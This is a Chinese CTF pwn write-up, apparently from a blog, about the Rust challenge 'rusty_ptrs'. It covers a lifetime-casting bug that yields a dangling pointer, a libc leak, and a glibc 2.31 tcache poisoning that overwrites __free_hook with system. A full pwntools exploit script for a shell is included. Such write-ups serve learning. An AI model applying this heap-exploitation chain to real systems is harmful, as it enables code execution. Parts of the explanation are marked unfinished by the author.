RUST漏洞点

前言

例题为2025/11/11-2025/11/17的pwn小组复现题

rust语言为了内存安全,规定了非常严格的生存周期,在生存周期结束后就会自动释放,从而避免了悬空指针的情况。尽管其管理已经十分严格,但仍然存在不使用unsafe代码时拥有悬空指针的情况。

静态分析

在ai和源码的帮助下,知道题目中的rules存在悬空指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
type RulesT = Vec<&'static mut [u8; LEN]>;
#[inline(never)]

fn create_rule(rules: &mut RulesT){
let buf = get_rule();
rules.push(buf);
println!("Rule Created!");
}

fn get_rule() -> &'static mut [u8; LEN] {
let mut buffer = Box::new([0; LEN]);
return get_ptr(&mut buffer);
}

const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
fn ident<'a, 'b, T: ?Sized>(
_val_a: &'a &'b (),
val_b: &'b mut T,
) -> &'a mut T {
val_b
}
let f: fn(_, &'a mut T) -> &'b mut T = ident;
f(S, x)
}

原理

#TODO
现在只知道大概是在get_ptr处将一个局部指针转换成了全局指针,然后局部指针被带出本该待的生存周期,成为悬空指针。(具体原因还待分析)

动态分析

由于rust逆向代码晦涩难懂,故选择动态调试来查看heap和bins的状态

1
2
3
4
5
6
7
8
1. Create a Rule or Note
2. Delete a Rule or Note
3. Read a Rule or Note
4. Edit a Rule or Note
5. Make a Law
6. Exit
> 5
0x712970799be0, 0x712970799be0

执行程序测试时发现Make a Law会泄露出main_arena + 88的地址 #TODO (原理未知)
通过创建Rule和Note堆块,发现创建Rule堆块时,创建的堆块会被释放,但是其堆块仍可访问,存在悬空指针,可使用edit编辑已释放的堆块。

Pasted image 20251117153833.png
Pasted image 20251117153833.png

又由于glibc版本为2.31,那么攻击手法显而易见,修改tcache的fd申请__free_hook附近的堆块,然后修改__free_hook为system函数,再释放一个内容为/bin/sh\x00的堆块即可。
但是在实际操作时发现,patchelf更换了libc和ld和libgcc_s.so.1后无法调试堆块了。处理了很久都未能解决。 最后只能时硬看汇编(还好有源码)
Pasted image 20251117161839.png
Pasted image 20251117161839.png

由于无法查看堆块,后来卡在明明申请到了__free_hook处的堆块,却不能修改__free_hook的值的情况,细细品鉴后发现原来是代码中使用的是类似队列?链表?的结构体,删除一个堆块后,剩余堆块位置会变化,也就是和c语言中的数组不同。
具体情况如下
初始 push 3 次

1
2
3
indices:  0   1   2
elements: A B C
len = 3

remove(0)删掉 A,把 [B, C] 整体左移 1 格

1
2
3
indices:  0   1
elements: B C
len = 2

remove(1) 删掉 C(索引 1 是当前最后一个元素)

1
2
3
indices:  0
elements: B
len = 1

remove(2) 此时 len = 1,索引 2 ≥ 1 → 触发 OOB! 分支,Vec 不变

1
2
3
indices:  0
elements: B
len = 1

push 两次 D、E依次追加到尾部

1
2
3
indices:  0   1   2
elements: B D E
len = 3

之后成功getshell

Pasted image 20251117161715.png
Pasted image 20251117161715.png

以下是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
context.binary = ELF("./rusty_ptrs")
io = gdb.debug("./rusty_ptrs")
#io = remote("127.0.0.1", 1337)
#gdb.attach(target=("127.0.0.1", 12345), gdbscript="target remote 127.0.0.1:12345")
#pause()
#io = process("./rusty_ptrs")
elf = ELF("./rusty_ptrs")
libc = elf.libc

def menu(idx):
io.sendlineafter(b"Exit\n> ", str(idx).encode())
return

def add(type):
menu(1)
io.sendlineafter(b"Notes\n> ", str(type).encode())
return

def free(type, idx):
menu(2)
io.sendlineafter(b"Notes\n> ", str(type).encode())
io.sendlineafter(b"? \n> ", str(idx).encode())
return

def show(type, idx):
menu(3)
io.sendlineafter(b"Notes\n> ", str(type).encode())
io.sendlineafter(b"? \n> ", str(idx).encode())
return

def edit(type, idx, content):
menu(4)
io.sendlineafter(b"Notes\n> ", str(type).encode())
io.sendlineafter(b"? \n> ", str(idx).encode())
io.sendafter(b".\n> ", content)
return

def make_law():
menu(5)
return

def exit():
menu(6)
return

# leak libc
make_law()
libc.address = int(io.recvuntil(b", ", drop=True), 16) - 0x1ecbe0
print("libc.address-> ", hex(libc.address))

# leak heap
#add(1)
#show(1, 0)
#io.recvuntil(b"]\n")
#heap_base_xor = int(io.recv(11), 16) - 1
#print("xor-> ", hex(heap_base_xor))
#free(1, 0)

# chunk fengshui
add(2)
add(2)
add(2)
free(2, 0)
free(2, 0)
# malloc & edit free hook
free_hook = libc.sym["__free_hook"]
add(1)
#edit(1, 0, p64(free_hook ^ heap_base_xor))
edit(1, 0, p64(free_hook))

system = libc.sym["system"]
add(2)
add(2)
edit(2, 2, p64(system))
add(2)
edit(2, 1, b"/bin/sh\x00")

free(2, 1)

print("free_hook -> ", hex(free_hook))
print("system -> ", hex(system))
io.interactive()
本作品由 automata 于 2026-03-21 00:00:00 发布
作品地址:RUST漏洞点
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 凹凸麦塔
Logo
上一篇CTF-pwn-Ubuntu2404-环境搭建